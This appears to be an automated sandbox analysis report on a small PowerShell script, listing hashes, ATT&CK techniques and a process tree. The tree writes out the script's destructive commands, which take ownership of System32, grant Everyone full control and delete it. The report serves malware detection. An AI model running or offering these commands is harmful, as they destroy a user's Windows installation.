62d604ff166eaf684234beb15a3d6ac29311eeaad23f3d5ad622d60e6486b4c9

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
09/08/2024, 20:38

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General

Target
target.ps1
Size 151B
Sample240809-zeyk4ssbjc
SHA256 62d604ff166eaf684234beb15a3d6ac29311eeaad23f3d5ad622d60e6486b4c9
MD5 260e89e8758cbc548a9e9af98fb472c4
SHA1 9441468561870e0755fcc07d2ba1ac0471b4fdc6
SHA512 db210430440ba63c1f37503e197cf41c2559f61d46ca51675e2b3ff254d367ef00ab7f7a7e182c03b92633de353d2b9fe339921de893903e8f8f5c3483c9b86c
MD5 SHA1 SHA512

Score

8^/10

discovery execution exploit

Malware Config

Signatures

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
4832	icacls.exe
3016	takeown.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3016	takeown.exe
4832	icacls.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4888	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4888	powershell.exe
4888	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4888	powershell.exe
Token: SeTakeOwnershipPrivilege	3016	takeown.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4888 wrote to memory of 4792	4888	powershell.exe	84
PID 4888 wrote to memory of 4792	4888	powershell.exe	84
PID 4792 wrote to memory of 3016	4792	cmd.exe	85
PID 4792 wrote to memory of 3016	4792	cmd.exe	85
PID 4888 wrote to memory of 3732	4888	powershell.exe	90
PID 4888 wrote to memory of 3732	4888	powershell.exe	90
PID 3732 wrote to memory of 4832	3732	cmd.exe	91
PID 3732 wrote to memory of 4832	3732	cmd.exe	91
PID 4888 wrote to memory of 2652	4888	powershell.exe	96
PID 4888 wrote to memory of 2652	4888	powershell.exe	96

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4888
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "takeown /f %windir%\system32\* >nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\system32\*
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3016
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "icacls %windir%\system32\* /grant Everyone:(F) >nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\system32\* /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4832
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "del /s /q %windir%\system32\* >nul"
  2⤵
  PID:2652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_5t1fjh1r.aob.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5t1fjh1r.aob.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/4888-0-0x00007FFDF2643000-0x00007FFDF2645000-memory.dmp

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memory/4888-1-0x00000208F09E0000-0x00000208F0A02000-memory.dmp

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memory/4888-11-0x00007FFDF2640000-0x00007FFDF3101000-memory.dmp

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memory/4888-12-0x00007FFDF2640000-0x00007FFDF3101000-memory.dmp

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memory/4888-15-0x00007FFDF2640000-0x00007FFDF3101000-memory.dmp

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